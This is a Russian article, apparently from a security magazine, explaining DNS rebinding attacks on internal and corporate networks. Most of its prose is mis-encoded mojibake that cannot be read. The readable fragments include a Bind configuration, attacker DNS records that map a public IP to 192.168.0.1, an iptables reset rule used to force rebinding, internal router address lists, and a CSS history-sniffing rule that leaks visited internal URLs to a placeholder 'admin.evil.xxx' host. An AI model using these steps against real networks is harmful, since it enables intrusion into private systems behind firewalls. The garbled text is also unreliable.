¥Ìà ÞÓÏÊ ×ÆÌÉ ÃÐÏÌÎÆ ÐÏÅÖÏÅÉÓ ÒÆÑÃÆÑ Bind 9. ¸ÓÏÂÜ ÏÎ ÃÏÈÃÑÁÚÁÌ 
IP-ÁÅÑÆÒÁ Ã ÎÔÇÎÏÍ ÐÏÑàÅËÆ, ÆÄÏ ÎÔÇÎÏ ÒÏÂÑÁÓÝ ÉÈ ÉÒÖÏÅÎÜÖ ËÏÅÏÃ 
Ò ÕÌÁÄÏÍ --enable-fixed-rrset. °Ï ÔÍÏÌØÁÎÉß ÞÓÏÓ ÕÌÁÄ ÎÆ ÔÒÓÁÎÏÃ-
ÌÆÎ, É ÃÆÑÒÉÉ, ÑÁÒÐÑÏÒÓÑÁÎàÆÍÜÆ Ã ÂÉÎÁÑÎÉËÁÖ, ÉÒÐÏÌÝÈÏÃÁÓÝ ÎÆ 
ÐÏÌÔØÉÓÒà. £ ÎÁÒÓÑÏÊËÁÖ bind9 ÔËÁÈÜÃÁÆÓÒà, ØÓÏ ÒÌÆÅÔÆÓ ÉÒÐÏÌÝÈÏ-
ÃÁÓÝ ÕÉËÒÉÑÏÃÁÎÎÜÊ ÐÏÑàÅÏË ÒÌÆÅÏÃÁÎÉà IP-ÁÅÑÆÒÏÃ. ¥Ìà ÞÓÏÄÏ Ã 
named.conf.options,  Ã ÐÁÑÁÍÆÓÑÆ options ÔËÁÈÜÃÁÆÓÒà:
rrset-oredr { order fixed; };
¥ÁÌÆÆ ÎÔÇÎÏ ÎÁÒÓÑÏÉÓÝ ÈÏÎÔ. ®Á ÐÑÉÍÆÑÆ ÅÏÍÆÎÁ dns.evil.xxx:

dns A 97.246.251.93
 A 192.168.0.1

£ ÉÓÏÄÆ, ÐÑÉ ÏÂÑÁÚÆÎÉÉ Ë DNS-ÒÆÑÃÆÑÔ ÁÓÁËÔßÚÆÄÏ, ÅÌà ÅÏÍÆ-
ÎÁ dns.attacker.ru ÂÑÁÔÈÆÑ ÃÒÆÄÅÁ ÂÔÅÆÓ ÏÂÑÁÚÁÓÝÒà ÒÎÁØÁÌÁ Ë 
IP-ÁÅÑÆÒÔ 97.246.251.93, ÈÁÓÆÍ,  ÆÒÌÉ ÏÎ ÎÆÅÏÒÓÔÐÆÎ, Ë 192.168.0.1. 
£ ÎÆËÏÓÏÑÜÖ ÒÌÔØÁàÖ ÞÓÏÓ ÐÏÑàÅÏË ÍÏÇÆÓ ÎÁÑÔÙÁÓÝÒà, ÐÏÅÑÏÂÎÆÆ 
ÏÐÉÒÁÎÏ ÎÉÇÆ.

°ÏÍÉÍÏ ÒÆÑÃÆÑÁ DNS ÅÌà ÐÑÏÃÆÅÆÎÉà ÁÓÁËÉ ÐÏÓÑÆÂÔÆÓÒà ÃÆÂ-
ÒÆÑÃÆÑ (Ã ËÁØÆÒÓÃÆ ÐÑÉÍÆÑÁ ÑÁÒÒÍÏÓÑÉÍ Apache), É ÔÅÏÂÎÜÊ ÍÆÖÁ-
ÎÉÈÍ ÂÌÏËÉÑÏÃÁÎÉà ÃÖÏÅàÚÉÖ ÈÁÐÑÏÒÏÃ ÎÁ ÒÏÆÅÉÎÆÎÉÆ Ò ÒÆÑÃÆÑÏÍ. 
¥Ìà ÂÌÏËÉÑÏÃËÉ ÃÖÏÅàÚÉÖ ÈÁÐÑÏÒÏÃ ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ ÍÆÇÒÆÓÆ-
ÃÏÊ ÞËÑÁÎ iptables, É ÎÁÉÂÏÌÆÆ ÞÕÕÆËÓÉÃÎÜÍ ÒÐÏÒÏÂÏÍ ÂÌÏËÉÑÏÃËÉ 
àÃÌàÆÓÒà ÏÓÐÑÁÃËÁ ÐÁËÆÓÁ Ò tcp-reset Ã ÏÓÃÆÓ ÎÁ ÐÏÐÜÓËÔ ÒÏÆÅÉÎÆ-
ÎÉà, ÉÎÁØÆ ÂÑÁÔÈÆÑ ÂÔÅÆÓ ÓÑÁÓÉÓÝ ÌÉÙÎÆÆ ÃÑÆÍà Ã ÑÁÍËÁÖ ÓÁÊÍÁÔÓÁ 
TCP-ÒÆÒÒÉÉ ÎÁ ÏÇÉÅÁÎÉÆ ÏÓÃÆÓÁ ÏÓ ÒÆÑÃÆÑÁ. °ÑÉ ÐÏÍÏÚÉ iptables 
ÞÓÏ ÅÆÌÁÆÓÒà ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ:

iptables -A INPUT -s [ȕȟȢȞȜȤȧșȠȯȝ IP-ȔȘȤșȥ] -p tcp \
    --dport 80 -j REJECT --reject-with tcp-reset

£ ÐÑÉÍÆÑÆ ÒÏÈÎÁÓÆÌÝÎÏ ÂÌÏËÉÑÔÆÓÒà ÓÏÌÝËÏ 80-Ê ÐÏÑÓ, ÓÁË ËÁË ÅÌà 
ÑÆÁÌÉÈÁ×ÉÉ ÁÓÁËÉ ÐÏÎÁÅÏÂÉÓÒà ÒÆÑÃÉÒ, ÎÁ ËÏÓÏÑÜÊ ÂÔÅÔÓ ÏÓÐÑÁÃ-
ÌàÓÝÒà ÐÏÌÔØÆÎÎÜÆ ÏÓ ËÌÉÆÎÓÁ ÅÁÎÎÜÆ. £ ÉÓÏÄÆ ÁÓÁËÁ ÃÜÄÌàÅÉÓ ÒÌÆ-
ÅÔßÚÉÍ ÏÂÑÁÈÏÍ:
1) §ÆÑÓÃÁ ÏÂÑÁÚÁÆÓÒà Ë ÅÏÍÆÎÔ dns.evil.xxx.
2) DNS-ÒÆÑÃÆÑ ÁÓÁËÔßÚÆÄÏ ÃÏÈÃÑÁÚÁÆÓ ÏÂÁ IP-ÁÅÑÆÒÁ Ã ÕÉËÒÉÑÏ-
ÃÁÎÎÏÍ ÐÏÑàÅËÆ.
3) ¢ÑÁÔÈÆÑ ÐÆÑÆÎÁÐÑÁÃÌàÆÓ ÈÁÐÑÏÒ Ë ÒÆÑÃÆÑÔ, ÑÁÒÐÏÌÏÇÆÎÎÏÍÔ ÎÁ 
ÃÎÆÙÎÆÍ IP 97.246.251.93.
4) ²ÆÑÃÆÑ ÃÏÈÃÑÁÚÁÆÓ HTML-ÒÓÑÁÎÉØËÔ Ò JavaScript’ÏÍ.
5) °ÏÒÌÆ ÈÁÄÑÔÈËÉ ÒÓÑÁÎÉØËÉ Ã ÂÑÁÔÈÆÑÆ, ËÌÉÆÎÓÒËÉÊ javascript ÙÌÆÓ 
ÈÁÐÑÏÒ Ë ÅÏÍÆÎÔ dns.evil.xxx.
6) °ÏÒÌÆ ÐÏÌÔØÆÎÉà ÈÁÐÑÏÒÁ ÒÆÑÃÆÑÎÜÊ ÒËÑÉÐÓ ÂÌÏËÉÑÔÆÓ ÃÖÏÅàÚÉÆ 
ÒÏÆÅÉÎÆÎÉà Ò IP-ÁÅÑÆÒÁ ÇÆÑÓÃÜ.
7) ¸ÆÑÆÈ ÎÆËÏÓÏÑÏÆ ÃÑÆÍà ËÌÉÆÎÓÒËÉÊ ÒËÑÉÐÓ ÒÎÏÃÁ ÏÂÑÁÚÁÆÓÒà Ë 
ÅÏÍÆÎÔ dns.attacker.ru É, ÐÏÒËÏÌÝËÔ ÒÆÑÃÆÑ 97.246.251.93 ÃÏÈÃÑÁÚÁ-
ÆÓ RST, ÈÁÐÑÏÒ ÐÆÑÆÎÁÐÑÁÃÌàÆÓÒà ÎÁ ÌÏËÁÌÝÎÜÊ ÒÆÑÃÆÑ 192.168.0.1.
³ÆÐÆÑÝ ÎÁÙ javascript ÍÏÇÆÓ ÒÌÁÓÝ ÌßÂÜÆ GET/POST/HEAD-ÈÁÐÑÏÒÜ 
Ë ÐÑÉÌÏÇÆÎÉß, ÑÁÒÐÏÌÏÇÆÎÎÏÍÔ ÎÁ ÁÅÑÆÒÆ 97.246.251.93, Á ÓÁËÇÆ 
ÏÂÑÁÂÁÓÜÃÁÓÝ ÐÏÌÔØÆÎÎÜÆ ÏÓÃÆÓÜ É ÏÓÐÑÁÃÌàÓÝ ÑÆÈÔÌÝÓÁÓÜ ÁÓÁËÔß-
ÚÆÍÔ!

Полезная нагрузка
©ÓÁË, ÂÑÁÔÈÆÑ ÅÔÍÁÆÓ, ØÓÏ ÒËÑÉÐÓ ÂÜÌ ÈÁÄÑÔÇÆÎ Ò ÑÆÒÔÑÒÁ ÉÈ ÃÎÔ-
ÓÑÆÎÎÆÊ ÒÆÓÉ, É Ô ÎÁÒ ÆÒÓÝ ÃÏÈÍÏÇÎÏÒÓÝ ÞÓÉÍ ÑÆÒÔÑÒÏÍ ÔÐÑÁÃ-
ÌàÓÝ. «ÁËÉÆ ÈÁÅÁØÉ ÞÓÏÓ ÒËÑÉÐÓ ÅÏÌÇÆÎ ÃÜÐÏÌÎÉÓÝ ÅÌà ÐÏÌÔØÆÎÉà 
ÐÑÁËÓÉØÆÒËÏÊ ÐÏÌÝÈÜ? £Ï-ÐÆÑÃÜÖ, ÒËÑÉÐÓ ÅÏÌÇÆÎ ÏÐÑÆÅÆÌÉÓÝ, Ò 
ËÁËÉÍ ËÏÎËÑÆÓÎÏ ÐÑÉÌÏÇÆÎÉÆÍ ÍÜ ÉÍÆÆÍ ÅÆÌÏ, ÈÁÓÆÍ — ÆÒÓÝ ÌÉ 
ËÁËÁà-ÎÉÂÔÅÝ ÁÃÓÏÑÉÈÁ×Éà, ËÏÓÏÑÔß ÐÑÉÅÆÓÒà ÏÂÖÏÅÉÓÝ. °ÏÒÌÆ ÞÓÏÄÏ 
ÒËÑÉÐÓ ÅÏÌÇÆÎ ÃÜÐÏÌÎÉÓÝ ËÏÍÁÎÅÜ, ÈÁÌÏÇÆÎÎÜÆ Ã ÎÆÍ ÅÌà ÅÁÎÎÏÄÏ 
ÓÉÐÁ ÏÂÏÑÔÅÏÃÁÎÉà. « ÐÑÉÍÆÑÔ, ÉÈÍÆÎÉÓÝ ËÏÎÕÉÄÔÑÁ×Éß ÉÌÉ ÐÏÌÔ-
ØÉÓÝ ËÏÐÉß ÐÉÒÆÍ/ÅÏËÔÍÆÎÓÏÃ, ÖÑÁÎàÚÉÖÒà ÎÁ ÔàÈÃÉÍÏÍ ÒÆÑÃÆÑÆ. 
°ÏÒÌÆ ÃÜÐÏÌÎÆÎÉà ÇÆÒÓËÏ ÈÁÅÁÎÎÜÖ ËÏÍÁÎÅ, ÍÏÇÎÏ ÐÆÑÆËÌßØÉÓÝ 
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ÂÑÁÔÈÆÑ ÇÆÑÓÃÜ Ã ÑÆÇÉÍ ÐÑÏËÒÉ-ÒÆÑÃÆÑÁ É ÅÁÓÝ ÃÏÈÍÏÇÎÏÒÓÝ ÁÓÁ-
ËÔßÚÆÍÔ ÒÌÁÓÝ ÈÁÐÑÏÒÜ Ë ÐÑÉÌÏÇÆÎÉß Ã ÑÆÇÉÍÆ online.
¥Ï ÃÜÐÏÌÎÆÎÉà ÃÒÆÖ ÞÓÉÖ ÈÁÅÁØ ÎÔÇÎÏ ÑÁÈÏÂÑÁÓÝÒà Ò ÓÆÍ, ËÁË 
ÒËÑÉÐÓ ÂÔÅÆÓ ÏÓÐÑÁÃÌàÓÝ ÈÁÐÑÏÒÜ Ë ÔàÈÃÉÍÏÍÔ ÐÑÉÌÏÇÆÎÉß, É ËÁË 
ÂÔÅÆÓ ÐÑÏÉÒÖÏÅÉÓÝ ÐÆÑÆÅÁØÁ ÐÏÌÔØÆÎÎÜÖ ÅÁÎÎÜÖ ÎÁ ÒÆÑÃÆÑ ÁÓÁËÔ-
ßÚÆÄÏ. ®Æ ÈÁÂÜÃÁÆÍ Ï ÓÏÍ, ØÓÏ ÏÄÑÁÎÉØÆÎÉà Same Origin Policy ÍÜ 
ÔÇÆ ÏÂÏÙÌÉ, Á ÈÎÁØÉÓ, ÅÌà ÏÂÚÆÎÉà ÒËÑÉÐÓÁ Ò ÔàÈÃÉÍÜÍ ÒÆÑÃÆÑÏÍ 
ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ ÒÓÁÎÅÁÑÓÎÜÆ AJAX-ÓÆÖÎÏÌÏÄÉÉ, Ã ØÁÒÓÎÏÒÓÉ 
ËÏÍÐÏÎÆÎÓ XMLHttpRequest.
² ÐÆÑÆÅÁØÆÊ ÐÏÌÔØÆÎÎÜÖ ÅÁÎÎÜÖ ÎÁ ÒÆÑÃÆÑ ÒÌÏÇÎÆÆ, ÓÁË ËÁË 
ÒÆÑÃÆÑ ÔÐÑÁÃÌÆÎÉà ÐÑÏ×ÆÒÒÏÍ ÁÓÁËÉ (ÁÅÍÉÎÉÒÓÑÁÓÉÃÎÁà ÐÁÎÆÌÝ 
ÁÓÁËÔßÚÆÄÏ) ÑÁÒÐÏÌÁÄÁÆÓÒà ÌÉÂÏ ÎÁ ÅÑÔÄÏÍ ÅÏÍÆÎÆ, ÌÉÂÏ ÎÁ 
ÅÑÔÄÏÍ ÐÏÑÓÔ (80-Ê ÐÏÑÓ ÎÁ ÒÃÏÆÍ ÒÆÑÃÆÑÆ ÍÜ ÈÁÂÌÏËÉÑÏÃÁÌÉ). 
¾ÓÏ ÈÎÁØÉÓ, ØÓÏ ÒËÑÉÐÓ ÒÎÏÃÁ ÒÓÏÌËÎÆÓÒà Ò ÏÄÑÁÎÉØÆÎÉàÍÉ Same 
Origin Policy. « ÒØÁÒÓÝß, ÅÌà ÑÆÙÆÎÉà ÞÓÏÊ ÐÑÏÂÌÆÍÜ ÂÜÌÁ ÐÑÉ-
ÅÔÍÁÎÁ ÓÆÖÎÏÌÏÄÉà ÐÏÅ ÎÁÈÃÁÎÉÆÍ JSONP, ÉÒÐÏÌÝÈÏÃÁÎÉÆ ËÏÓÏÑÏÊ 
ÐÏÈÃÏÌÉÓ ÏÓÐÑÁÃÌàÓÝ ÈÁÐÑÏÒÜ ÎÁ ÎÁÙ ÒÆÑÃÆÑ, ÆÒÌÉ ÓÏÓ ÂÔÅÆÓ ÃÏÈ-
ÃÑÁÚÁÓÝ ÒÐÆ×ÉÁÌÝÎÜÍ ÏÂÑÁÈÏÍ ÐÏÅÄÏÓÏÃÌÆÎÎÜÆ ÏÓÃÆÓÜ (ÐÏÅÑÏÂ-
ÎÆÆ Ï JSONP ÍÏÇÎÏ ÐÑÏØÉÓÁÓÝ ÎÁ ÑÆÒÔÑÒÁÖ, ÐÏÒÃàÚÆÎÎÜÖ web-
ÐÑÏÄÑÁÍÍÉÑÏÃÁÎÉß). ² ÍÆÖÁÎÉÈÍÁÍÉ ÃÒÆ àÒÎÏ, ÉÅÆÍ ÅÁÌÝÙÆ.

Выполнение команд
°ÑÉ ÏÓÐÑÁÃËÆ ËÏÍÁÎÅ ÎÁ ÁÓÁËÔÆÍÜÊ ÒÆÑÃÆÑ ÒÌÆÅÔÆÓ ÌÉÂÏ ÉÒÐÏÌÝ-
ÈÏÃÁÓÝ XMLHttpRequest Ã ÒÉÎÖÑÏÎÎÏÍ ÑÆÇÉÍÆ, ÌÉÂÏ ÒÉÎÖÑÏÎÉÈÉ-
ÑÏÃÁÓÝ ÏÓÐÑÁÃËÔ ËÏÍÁÎÅ ÃÑÔØÎÔß É ÎÆ ÏÓÐÑÁÃÌàÓÝ ÐÏÒÌÆÅÔßÚÔß 
ËÏÍÁÎÅÔ ÅÏ ÓÆÖ ÐÏÑ, ÐÏËÁ ÎÆ ÐÑÉÅÆÓ ÏÓÃÆÓ ÎÁ ÐÑÆÅÜÅÔÚÔß. £ ×ÆÌàÖ 
ÐÏÃÜÙÆÎÉà ÂÜÒÓÑÏÅÆÊÒÓÃÉà ÑÁÂÏÓÜ ÒËÑÉÐÓÁ à ÑÆËÏÍÆÎÅÔß ÉÒÐÏÌÝ-
ÈÏÃÁÓÝ ÃÓÏÑÏÊ ÃÁÑÉÁÎÓ.
¥Ìà ÉÒÐÏÌÝÈÏÃÁÎÉà ÂÑÁÔÈÆÑÁ ÇÆÑÓÃÜ Ã ËÁØÆÒÓÃÆ ÐÑÏËÒÉ, ÎÔÇÎÏ 
ÐÏÒÌÆ ÏËÏÎØÁÎÉà ÑÁÂÏÓÜ ÒËÑÉÐÓÁ ÈÁÐÔÒÓÉÓÝ ÕÔÎË×Éß setInterval, Ã 
ËÏÓÏÑÔß ÐÆÑÆÅÁÓÝ ËÏÅ, ËÏÓÏÑÜÊ ÂÔÅÆÓ ÈÁÐÑÁÙÉÃÁÓÝ Ô ÔÐÑÁÃÌàßÚÆÄÏ 
ÒÆÑÃÆÑÁ ÒÌÆÅÔßÚÔß ËÏÍÁÎÅÔ, ËÏÓÏÑÔß ÎÔÇÎÏ ÈÁÐÔÒÓÉÓÝ ÎÁ ÁÓÁËÔÆ-
ÍÏÍ ÏÂÏÑÔÅÏÃÁÎÉÉ. ¡ ÑÆÈÔÌÝÓÁÓ ÃÜÐÏÌÎÆÎÉà ËÏÍÁÎÅÜ ÍÏÇÎÏ ÐÆÑÆ-
ÅÁÃÁÓÝ ÏÂÑÁÓÎÏ ÎÁ ÒÆÑÃÆÑ.

Атака на корпоративные сети
Ü ÑÁÈÏÂÑÁÌÉÒÝ, ØÓÏ ÅÆÌÁÓÝ, ÆÒÌÉ ×ÆÌÝ ÏÅÎÁ. ³ÆÐÆÑÝ ÎÁÅÏ ÑÁÈÏ-
ÂÑÁÓÝÒà, ËÁË ÁÓÁËÏÃÁÓÝ ËÏÑÐÏÑÁÓÉÃÎÜÆ ÒÆÓÉ ×ÆÌÉËÏÍ. ®Ô É Ã ÐÆÑ-
ÃÔß ÏØÆÑÆÅÝ ÅÌà ÐÑÏÃÆÅÆÎÉà ÓÁËÏÊ ÁÓÁËÉ ÎÆÏÂÖÏÅÉÍÏ ÎÁÔØÉÓÝÒà Ã 
ÐÑÉÆÍÌÆÍÏÆ ÃÑÆÍà ÏÐÑÆÅÆÌàÓÝ IP-ÁÅÑÆÒÁ ×ÆÌÆÊ ÁÓÁËÉ. £Ï-ÃÓÏÑÜÖ, 
ÎÔÇÎÏ ÏÂÆÒÐÆØÉÓÝ ÃÏÈÍÏÇÎÏÒÓÝ ÁÓÁËÉ ÎÆÒËÏÌÝËÉÖ ×ÆÌÆÊ ÈÁ ÏÅÉÎ 
ÒÆÁÎÒ ÑÁÂÏÓÜ ÐÏÌÝÈÏÃÁÓÆÌà. £-ÓÑÆÓÝÉÖ, ÓÑÆÂÔÆÓÒà ÃÏÈÍÏÇÎÏÒÓÝ 
ÒÏÃÆÑÙÆÎÉà ÑÁÒÐÑÆÅÆÌÆÎÎÜÖ ÁÓÁË ÎÁ ÏÅÉÎ É ÓÏÓ ÇÆ ÒÆÑÃÆÑ Ò 
ÎÆÒËÏÌÝËÉÖ ÂÑÁÔÈÆÑÏÃ, ÑÁÒÐÏÌÏÇÆÎÎÜÖ ÃÏ ÃÎÔÓÑÆÎÎÆÊ ÒÆÓÉ ËÏÍÐÁ-
ÎÉÉ. © Ã-ØÆÓÃÆÑÓÜÖ, ÎÆÏÂÖÏÅÉÍÁ ÃÏÈÍÏÇÎÏÒÓÝ ÏÓÐÑÁÃËÉ  ÈÁÐÑÏÒÏÃ 
ÎÁ ÑÁÈÌÉØÎÜÆ IP-ÁÅÑÆÒÁ ÐÑÉ ÉÒÐÏÌÝÈÏÃÁÎÉÉ ÂÑÁÔÈÆÑÁ ÇÆÑÓÃÜ Ã 
ËÁØÆÒÓÃÆ ÐÑÏËÒÉ (ÃÜÙÆ ÙÌÁ ÑÆØÝ ÏÂ ÏÓÐÑÁÃËÆ ÐÏÅÏÂÎÜÖ ËÏÍÁÎÅ 
ÓÏÌÝËÏ ÎÁ ÏÅÉÎ ÁÅÑÆÒ).

Целеуказание
¥Ìà ÏÐÑÆÅÆÌÆÎÉà ×ÆÌÆÊ ÍÏÇÎÏ ÒËÁÎÉÑÏÃÁÓÝ IP-ÁÅÑÆÒÁ ÒÆÓÉ ÐÏ ÅÉÁ-
ÐÁÈÏÎÔ. ¥Ìà ÞÓÏÄÏ ÍÏÇÎÏ ÐÏÌÝÈÏÃÁÓÝÒà, Ë ÐÑÉÍÆÑÔ, ÓÆÄÏÍ IFRAME É 
ÒÏÂÜÓÉÆÍ onLoad. ¥ÑÔÄÏÊ ÃÁÑÉÁÎÓ ÑÆÁÌÉÈÁ×ÉÉ — ÒÏÈÅÁÃÁÓÝ ÏÂÛÆËÓ 
Image É ÐÑÉ ÐÏÍÏÚÉ onLoad ÏÐÑÆÅÆÌàÓÝ, ÈÁÄÑÔÈÉÌÏÒÝ ÌÉ ÉÈÏÂÑÁ-
ÇÆÎÉÆ. ¥Ìà ÏÐÑÆÅÆÌÆÎÉà ÓÏÄÏ, ØÓÏ ÐÏ ÅÁÎÎÏÍÔ ÁÅÑÆÒÔ ÑÆÒÔÑÒ ÎÆ ÂÜÌ 
ÏÂÎÁÑÔÇÆÎ, ÍÏÇÎÏ ÐÏÌÝÈÏÃÁÓÝÒà ÕÔÎË×ÉÆÊ setTimeout, ËÏÓÏÑÁà ÐÏ 
ÉÒÓÆØÆÎÉÉ ÎÆËÏÓÏÑÏÄÏ ÃÑÆÍÆÎÉ ÂÔÅÆÓ ÐÑÏÃÆÑàÓÝ, ÒÏÈÅÁÌÒà ÌÉ ÏÂÛ-
ÆËÓ ÉÌÉ ÎÆÓ, É ÆÒÌÉ ÏÂÛÆËÓ ÎÆ ÒÏÈÅÁÎ — ÒÉÄÎÁÌÉÈÉÑÏÃÁÓÝ Ï ÓÏÍ, ØÓÏ 
ÑÆÒÔÑÒ ÐÏ ÅÁÎÎÏÍÔ ÁÅÑÆÒÔ ÎÆ ÎÁÊÅÆÎ.
² ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ ÞÓÏÄÏ ÐÏÅÖÏÅÁ ÒÃàÈÁÎÏ ÎÆÒËÏÌÝËÏ ÏØÆÃÉÅÎÜÖ 
ÐÑÏÂÌÆÍ:
1) °ÑÏËÒÉ-ÒÆÑÃÆÑ ÍÏÇÆÓ ÃÏÈÃÑÁÚÁÓÝ ÏÓÃÆÓ ÅÁÇÆ ÐÑÉ ÏÓÐÑÁÃËÆ 
ÈÁÐÑÏÒÁ ÎÁ ÎÆÒÔÚÆÒÓÃÔßÚÉÊ IP-ÁÅÑÆÒ, É Ã ÑÆÈÔÌÝÓÁÓÆ ÍÆÓÏÅ onLoad 
ÂÔÅÆÓ ÔËÁÈÜÃÁÓÝ ÎÁ ÎÁÌÉØÉÆ ÅÁÇÆ ÎÆÒÔÚÆÒÓÃÔßÚÉÖ ÁÅÑÆÒÏÃ.
2) °ÏÓÆÎ×ÉÁÌÝÎÏ ÂÏÌÝÙÏÆ ËÏÌÉØÆÒÓÃÏ ÌÏÇÎÜÖ ÒÑÁÂÁÓÜÃÁÎÉÊ ÐÑÉ 
ÏÙÉÂËÁÖ ÃÜÂÏÑÁ ÈÎÁØÆÎÉà ÓÁÊÍÁÔÓÁ.
3) °ÑÉ ÂÏÌÝÙÏÍ ÈÎÁØÆÎÉÉ ÓÁÊÍÁÔÓÁ É/ÉÌÉ ÂÏÌÝÙÏÍ ÅÉÁÐÁÈÏÎÆ 
ÐÆÑÆÂÉÑÁÆÍÜÖ ÁÅÑÆÒÏÃ ÐÏÅÂÏÑ ÍÏÇÆÓ ÈÁÎàÓÝ ÈÎÁØÉÓÆÌÝÎÏÆ ÃÑÆÍà.
¥Ìà ÑÆÙÆÎÉà ÞÓÉÖ ÐÑÏÂÌÆÍ ÍÏÇÎÏ ÃÏÒÐÏÌÝÈÏÃÁÓÝÒà ÅÑÔÄÉÍ ÍÆÓÏÅÏÍ 
ÏÐÑÆÅÆÌÆÎÉà ×ÆÌÆÊ.

CSS History Hack v 2.0
®ÆÒËÏÌÝËÏ ÌÆÓ ÎÁÈÁÅ ÂÜÌ ÐÑÆÅÌÏÇÆÎ  ÉÎÓÆÑÆÒÎÜÊ ÒÐÏÒÏÂ ÏÐÑÆ-
ÅÆÌÆÎÉà ÃÆÂ-ÁÅÑÆÒÏÃ, ËÏÓÏÑÜÆ ÐÏÒÆÚÁÌ ÐÏÌÝÈÏÃÁÓÆÌÝ ÂÑÁÔÈÆÑÁ. 
²ÔÓÝ ÍÆÓÏÅÁ ÈÁËÌßØÁÆÓÒà Ã ÓÏÍ, ØÓÏ ÐÑÉ ÐÏÍÏÚÉ javascript ÍÏÇÎÏ 
ÔÈÎÁÓÝ ×ÃÆÓ ÒÒÜÌËÉ, ÒÏÈÅÁÎÎÏÊ ÎÁ ÒÓÑÁÎÉ×Æ, É ÅÌà ÑÁÎÆÆ ÐÏÒÆ-
ÚÆÎÎÜÖ ÒÒÜÌÏË ÞÓÏÓ ×ÃÆÓ ÏÓÌÉØÁÆÓÒà.
³ÁËÉÍ ÏÂÑÁÈÏÍ, ÒÕÏÑÍÉÑÏÃÁÃ ÒÐÉÒÏË ÁÅÑÆÒÏÃ, ÍÏÇÎÏ ÐÑÉ ÐÏÍÏÚÉ 
javascript ÒÏÈÅÁÓÝ ÓÆÄ <a> ÅÌà ËÁÇÅÏÄÏ ÁÅÑÆÒÁ ÉÈ ÒÐÉÒËÁ É ÒÃÆÑÉÓÝ 
ÆÄÏ ×ÃÆÓ Ò ×ÃÆÓÏÍ ÔÇÆ ÐÏÒÆÚÆÎÎÏÊ ÒÒÜÌËÉ. ¥Ìà ÐÑÏÒÓÏÓÜ ÑÁÂÏÓÜ, 
×ÃÆÓÁ ÔÇÆ ÐÏÒÆÚÆÎÎÜÖ ÒÒÜÌÏË ÈÁÅÁßÓÒà àÃÎÏ ÐÑÉ ÐÏÍÏÚÉ CSS.
°ÑÏÙÌÏ ÎÆÒËÏÌÝËÏ ÌÆÓ, É ÞÓÔ ÔàÈÃÉÍÏÒÓÝ ÈÁËÑÜÌÉ. ²ÏÃÑÆÍÆÎÎÜÆ 
ÃÆÑÒÉÉ ÂÑÁÔÈÆÑÏÃ (ÅÁÇÆ IE8) ÓÆÐÆÑÝ ÃÒÆÄÅÁ ÅÌà ÒÒÜÌÏË ÐÑÏ-
ÄÑÁÍÍÎÏ ÏÓÅÁßÓ ×ÃÆÓ ÐÏ ÔÍÏÌØÁÎÉß, ÅÁÇÆ ÆÒÌÉ ÑÁÎÆÆ ÒÒÜÌËÁ 
ÂÜÌÁ ÐÏÒÆÚÆÎÁ. £ÐÑÏØÆÍ, ÞÓÔ ÔàÈÃÉÍÏÒÓÝ ÃÒÆ ÑÁÃÎÏ ÍÏÇÎÏ 
ÑÆÁÌÉÈÏÃÁÓÝ ÐÏ-ÎÏÃÏÍÔ. ¥Ìà ÞÓÏÄÏ ÇÆÒÓËÏ ÈÁÅÁÅÉÍ ÍÁÒÒÉÃ ÐÑÏ-
ÃÆÑàÆÍÜÖ ÒÒÜÌÏË, ÎÁÐÑÉÍÆÑ:

var links = [
  'http://192.168.0.1',
  'http://192.168.1.1',
  'http://10.1.1.1'
];

¥Ìà ËÁÇÅÏÊ ÒÒÜÌËÉ Ã ÅÉÎÁÍÉØÆÒËÉ ÒÏÈÅÁÃÁÆÍÜÊ ÓÆÄ STYLE ÅÏÂÁÃÉÍ 
CSS-ÐÑÁÃÉÌÏ ÃÉÅÁ:

A#id:visited { background:url('http://admin.evil.xxx:8080/
backonnect.php?url=http://192.168.0.1'); }
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£ ÉÓÏÄÆ, ÐÑÉ ÒÏÈÅÁÎÉÉ ÒÒÜÌËÉ, ËÏÓÏÑÁà ÂÜÌÁ ÐÏÒÆÚÆÎÁ, ÂÑÁÔÈÆÑ 
ÐÏÐÜÓÁÆÓÒà ÈÁÄÑÔÈÉÓÝ url,  ÔËÁÈÁÎÎÜÊ Ã ÁÅÑÆÒÆ, Á ÅÌà ÎÆÐÏÒÆÚÆÎ-
ÎÏÊ ÒÒÜÌËÉ url ÈÁÄÑÔÇÁÓÝÒà ÎÆ ÂÔÅÆÓ. ³ÁËÉÍ ÏÂÑÁÈÏÍ ÎÁ ÒÆÑÃÆÑ 
ÍÏÇÎÏ ÐÆÑÆÅÁÓÝ ÉÎÕÏÑÍÁ×Éß Ï ÐÏÒÆÚÆÎÎÜÖ ÒÒÜÌËÁÖ, É ÞÓÏÍÔ 
ÃÉÅÔ ÁÓÁËÉ ÐÏÅÃÆÑÇÆÎÜ ÃÒÆ ÁËÓÔÁÌÝÎÜÆ ÎÁ ÒÆÄÏÅÎà ÃÆÑÒÉÉ ÂÑÁÔ-
ÈÆÑÏÃ, Ã ÓÏÍ ØÉÒÌÆ É ÒÁÍÜÆ ÎÏÃÜÆ.

Атака нескольких целей
¥Ìà ÐÑÏÃÆÅÆÎÉà ÁÓÁËÉ ÓÉÐÁ DNS rebinding ÓÑÆÂÔÆÓÒà ÐÑÏÉÈÃÏ-
ÅÉÓÝ ÂÌÏËÉÑÏÃËÔ ÒÏÆÅÉÎÆÎÉÊ ÒÏ ÒÓÏÑÏÎÜ ÐÏÌÝÈÏÃÁÓÆÌà, ÐÑÉØÆÍ Ò 
ÔØÆÓÏÍ ÑÆÁË×ÉÉ ÒÏÃÑÆÍÆÎÎÜÖ ÂÑÁÔÈÆÑÏÃ ÞÓÔ ÂÌÏËÉÑÏÃËÔ ÒÌÆÅÔÆÓ 
ÐÑÏÉÈÃÏÅÉÓÝ ÆÚÆ ÃÏ ÃÑÆÍà TCP handshake. ¦ÒÌÉ ÂÌÏËÉÑÏÃËÔ ÐÑÏ-
ÃÏÅÉÓÝ ÔÇÆ ÐÏÒÌÆ ÒÏÆÅÉÎÆÎÉà, ÂÑÁÔÈÆÑ ÎÆ ÂÔÅÆÓ ÉÒÐÏÌÝÈÏÃÁÓÝ 
ÁÌÝÓÆÑÎÁÓÉÃÎÜÊ ÁÅÑÆÒ. £ ØÁÒÓÎÏÒÓÉ, IE É Firefox ÃÏÈÃÑÁÚÁßÓ 
